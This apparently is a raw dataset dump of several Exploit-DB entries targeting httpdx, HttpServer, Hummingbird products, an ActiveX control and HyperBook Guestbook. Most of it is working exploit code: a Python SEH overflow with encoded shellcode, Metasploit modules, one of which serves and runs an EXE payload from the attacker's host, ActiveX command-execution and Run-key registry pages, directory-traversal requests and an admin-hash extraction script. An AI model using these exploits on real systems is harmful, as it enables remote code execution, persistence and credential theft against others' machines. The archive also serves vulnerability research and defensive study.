deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8716
Description: httpdx 0.5b - FTP Server (USER) Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-05-18
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage : httpdx.py [target_ip]
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : httpdx <= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)
#[*] Founder :  sico2819
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

#[x] Note : I used the case when idm is installed because its dll (idmmbc.dll) is loaded with httpdx.

import socket
import sys

host = sys.argv[1] 

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x45\x34\x4e\x33\x4b\x58\x4e\x37"
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x45\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x30\x45\x57\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x48"
"\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x36\x43\x36\x42\x30\x5a")

payload =  shellcode
payload += '\x41'*(877 - len(shellcode))
payload += '\xE9\x8E\xFC\xFF\xFF'
payload += '\x90'*48
payload += '\x74\xC9\x90\x90'
payload += '\x87\x23\x02\x10'
payload += '\x44'*9000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,21))
s.recv(1024)
s.send('USER '+payload+'\r\n')
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-18]
Exploit-DB #9886
Description: httpdx 1.4 - h_handlepeer Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2009-10-16
Author: Pankaj Kohli_ Trancer

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The 
				vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
				By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
			},
			'Author'         => [ 
						'Pankaj Kohli <pankaj208[at]gmail.com>',	# Original exploit [see References]
						'Trancer <mtrancer[at]gmail.com>'		# Metasploit implementation
						], 
			'References'     =>
				[
					[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
					[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
					[ 'OSVDB', '58714' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2c\x2f\x3a\x3b\x3d\x3f\x5c",
					'StackAdjustment' => -1500,
					'DisableNops'	=>  'True',

				},
			'Platform'       => 'win',
			'Targets'        => 
			[
				[  'httpdx 1.4 - Windows XP SP3',
					{
					'Offset'	=> 616,
					'Rets'		=> [ 0x64f8134b, 0x63b8624f, 0x7c874413 ],   # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)
					}
				],
			],
			'DefaultTarget'  => 0))
			register_options( [ Opt::RPORT(80) ], self.class )
	end

	def check
		response = send_request_raw

		if response and 
		   response['Server'] and 
		   response['Server'] =~ /httpdx\/1.4 (Win32)/
			return Exploit::CheckCode::Appears
		end
			
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit  = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="
		sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)
		sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')
		sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)

		request = sploit + " HTTP/1.1\r\nHost: " + rand_text_alphanumeric(rand(8) + 1) + "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(request)
		sock.close

		disconnect
		handler
	end
end
Exploit-DB #34846
Description: httpdx 1.4.5 - dot Character Remote File Disclosure
Type: remote
Platform: windows
Date: 2009-10-09
Author: Dr_IDE

Exploit:
source: https://www.securityfocus.com/bid/44141/info

The 'httpdx' application is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view the source code of files in the context of the server process. This may aid in further attacks.

Versions prior to httpdx 1.4.6b are vulnerable.

The following example URI are available:

http://www.example.com/index.html.
http://www.example.com/test.py.
http://www.example.com/test.php.
Exploit-DB #33645
Description: httpdx 1.5 - 'MKD' Directory Traversal
Type: remote
Platform: windows
Date: 2010-02-15
Author: fb1h2s

Exploit:
source: https://www.securityfocus.com/bid/38242/info

The 'httpdx' program is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks.

This issue affects httpdx 1.5; other versions may also be affected. 

# Exploit Title: httpdx - ultralight http/ftp server directory Traversal
# Date: 14/2/2010
# Author: FB1H2S
# Software Link: http://sourceforge.net/projects/httpdx/
# Version: v1.5
# Tested on: WIN XP2
# CVE : [if exists]
# Code : Attached
 
#!/usr/bin/python
# Greetz to all Darkc0de, Andhra Hackers and ICW Memebers                              
#Thanks  : Mr bond,Wipu,GOdwinAustin,The_empty,beenu,hg_H@x0r,r45c4l,it_security,eberly
#Shoutz  : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin
import socket
import sys
hostname='localhost'
username='admin'
[CREDENTIAL_REDACTED]'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((hostname, 21))
except:
    print ("Connection error!")
    sys.exit(1)
r=sock.recv(1024)
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
# The FTP root is example.com we could move down the root directory
sock.send("MKD ../fb1h2s\r\n")
sock.close()
sys.exit(0);
Exploit-DB #41638
Description: HttpServer 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2017-03-19
Author: malwrforensics

Exploit:
# Exploit Title: HttpServer 1.0 DolinaySoft Directory Traversal
# Date: 2017-03-19
# Exploit Author: malwrforensics
# Software Link: http://www.softpedia.com/get/Internet/Servers/WEB-Servers/HttpServer.shtml#download
# Version: 1.0
# Tested on: Windows

Exploiting this issue will allow an attacker to view arbitrary files
within the context of the web server.

Example:
Assuming the root folder is c:\<app_folder>\<html_folder>

http://<server>/..%5c..%5c/windows/win.ini
Exploit-DB #16337
Description: Hummingbird Connectivity 10 SP5 - LPD Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: hummingbird_exceed.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Hummingbird Connectivity 10 SP5 LPD Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Hummingbird Connectivity
				10 LPD Daemon. This module has only been tested against Hummingbird
				Exceed v10 with SP5.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2005-1815'],
					['OSVDB', '16957'],
					['BID', '13788'],
				],
			'Privileged'     => true,

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0-SP4', { 'Offset' => 1620, 'Ret' => 0x75022ac4 }],
					['Windows XP English SP0/SP1',   { 'Offset' => 1596, 'Ret' => 0x71aa2461 }],
				],

			'DisclosureDate' => 'May 27 2005'))

		register_options( [ Opt::RPORT(515) ], self.class )
	end

	def exploit
		connect

		filler = rand_text_english(target['Offset'], payload_badchars)
		seh    = generate_seh_payload(target.ret)
		sploit = filler + seh

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #32493
Description: Hummingbird Deployment Wizard 10 - 'DeployRun.dll' ActiveX Control Multiple Security Vulnerabilities
Type: remote
Platform: windows
Date: 2008-10-17
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/31799/info

Hummingbird Deployment Wizard 10 ActiveX control is prone to multiple vulnerabilities that attackers can exploit to run arbitrary code. The issues stem from insecure methods used within 'DeployRun.dll'.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious HTML page.

Successfully exploiting these issues allows remote attackers to edit registry key information or execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

Hummingbird Deployment Wizard 10 10.0.0.44 is vulnerable; other versions may also be affected.

<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.Run "cmd.exe", "/C calc.exe" End Sub </script> <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe 'test.SetRegistryValueAsString "Existing Registry Path + Existing Registry Key", "Value to change" test.SetRegistryValueAsString "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YourFavouriteKey", "Hello World!" End Sub </script> <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.PerformUpdateAsync "calc.exe" End Sub </script>
Exploit-DB #6773
Description: Hummingbird Deployment Wizard 2008 - ActiveX Command Execution
Type: remote
Platform: windows
Date: 2008-10-17
Author: shinnai

Exploit:
------------------------------------------------------------------------------
 Hummingbird Deployment Wizard 2008 (DeployRun.dll) Arbitrary File Execution
 url: http://www.hummingbird.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Info:
 DeployRun.dll <= 10.0.0.44
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPersist Safe:  Safe for untrusted: caller,data

 Vulnerable method:
 Sub Run (ByVal Path  As String , ByVal CommandLine  As String)

 Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7

 There are a lot of dangerous methods, just take a look and... good searching
------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
   test.Run "cmd.exe", "/C calc.exe"
 End Sub
</script>

# milw0rm.com [2008-10-17]
Exploit-DB #6776
Description: Hummingbird Deployment Wizard 2008 - ActiveX File Execution(2)
Type: remote
Platform: windows
Date: 2008-10-17
Author: shinnai

Exploit:
--------------------------------------------------------------------------------
 Hummingbird Deployment Wizard 2008 (DeployRun.dll) Arbitrary File Execution(2)
 url: http://www.hummingbird.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Info:
 DeployRun.dll <= 10.0.0.44
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPersist Safe:  Safe for untrusted: caller,data

 Vulnerable method:
 Sub PerformUpdateAsync (ByVal ExecAfterComplete As String)

 Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7

 There are a lot of dangerous methods, just take a look and... good searching
--------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
   test.PerformUpdateAsync "calc.exe"
   'test.PerformUpdateAsync "http://www.SomeSite.com/SomeFile.exe"
 End Sub
</script>

# milw0rm.com [2008-10-17]
Exploit-DB #6774
Description: Hummingbird Deployment Wizard 2008 - Registry Values Creation/Change
Type: remote
Platform: windows
Date: 2008-10-17
Author: shinnai

Exploit:
------------------------------------------------------------------------------------
 Hummingbird Deployment Wizard 2008 (DeployRun.dll) Registry Values Creation/Change
 url: http://www.hummingbird.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Info:
 DeployRun.dll <= 10.0.0.44
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPersist Safe:  Safe for untrusted: caller,data

 Vulnerable method:
 Sub SetRegistryValueAsString (ByVal Path As String, ByVal v As String)

 Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7

 There are a lot of dangerous methods, just take a look and... good searching
------------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  'test.SetRegistryValueAsString "Existing Registry Path + Existing Registry Key", "Value to change"
  test.SetRegistryValueAsString "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YourFavouriteKey", "Hello World!"
 End Sub
</script>

# milw0rm.com [2008-10-17]
Exploit-DB #32491
Description: Hummingbird HostExplorer 6.2/8.0 - ActiveX Control 'PlainTextPassword()' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-10-16
Author: Thomas Pollet

Exploit:
source: https://www.securityfocus.com/bid/31783/info

Hummingbird HostExplorer ActiveX control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions. 

<html> <!-- the latest version of this activex (13.0) is compiled with /gs, earlier versions aren't. The XXXX would have overwritten return address. by thomas.pollet@gmail.com --> <object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object> <script language='vbscript'> arg1="[PII_REDACTED][PII_REDACTED][PII_REDACTED]280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX" target.PlainTextPassword = arg1 </script> </html>
Exploit-DB #16552
Description: Husdawg_ LLC. System Requirements Lab - ActiveX Unsafe Method (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: systemrequirementslab_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method',
			'Description'    => %q{
					This module allows attackers to execute code via an unsafe method in
				Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2008-4385' ],
					[ 'OSVDB', '50122' ],
					[ 'US-CERT-VU', '166651' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2008'))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha(rand(20) + 1)

		content = %Q|
			<html>
				<object classid='clsid:67A5F8DC-1A4B-4D66-9F24-A704AD929EEE' id='#{vname}'></object>
				<script language='JavaScript'>
					#{vname}.Init("#{payload_url}/#{exe}.exe", "#{vname}");
				</script>
			</html>
						|

		content = Rex::Text.randomize_space(content)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end

end
Exploit-DB #29687
Description: HyperBook Guestbook 1.3 - GBConfiguration.DAT Hashed Password Information Disclosure
Type: remote
Platform: windows
Date: 2007-02-28
Author: PeTrO

Exploit:
source: https://www.securityfocus.com/bid/22754/info

HyperBook Guestbook is prone to an information-disclosure vulnerability because the application fails to protect sensitive information.

An attacker can exploit this issue to access sensitive information that may lead to other attacks.

This issue affects version 1.3.0; other versions may also be affected.

#!/usr/bin/python
#Script                  :HyperBook Guestbook v1.30 (qbconfiguration.dat) Remote Admin md5 Hash Exploit
#Exploit Coded by        : PeTrO
#Exploit Discovered by   : SaO [www.saohackstyle.com]
#Credits to              :[soulreaver],Kuzey
 

import urllib
import sys
import parser

serv="http://"
i=0
for arg in sys.argv:
     i=i+1

if i!=3:
 print """\n\n
         \tHyperBook Guestbook v1.30  (qbconfiguration.dat) 
         \t\t    Remote Admin md5 Hash Exploit 
          \t                            
          \tUsage:Exploit.py [targetsite] [path] 
          \tExample:Exploit.py www.target.com /guestbook/\n\n"""
else:
    

    adres=sys.argv[1]
    path=sys.argv[2]

    str1=adres.join([serv,path])
    str2=str1.join(['','data/gbconfiguration.dat'])

    print "\n[~]Connecting..."
    url=urllib.urlopen(str2).read(); 
    print "\n[+]Connected!"
 
    test=url.find(path);

    t=0;
    print "\n\t\t\t-=[Admin md5 hash]=-"
    while(url[test+1]!=1): #parsing hash... by PeTrO..
              print url[test],

              if(url[test]=='\n'):
                 t=t+1;  

              if(t==2):
                 break;
                
              test=test+1;

    print "\n\n\t\t\t[ c0ded by PeTrO ]"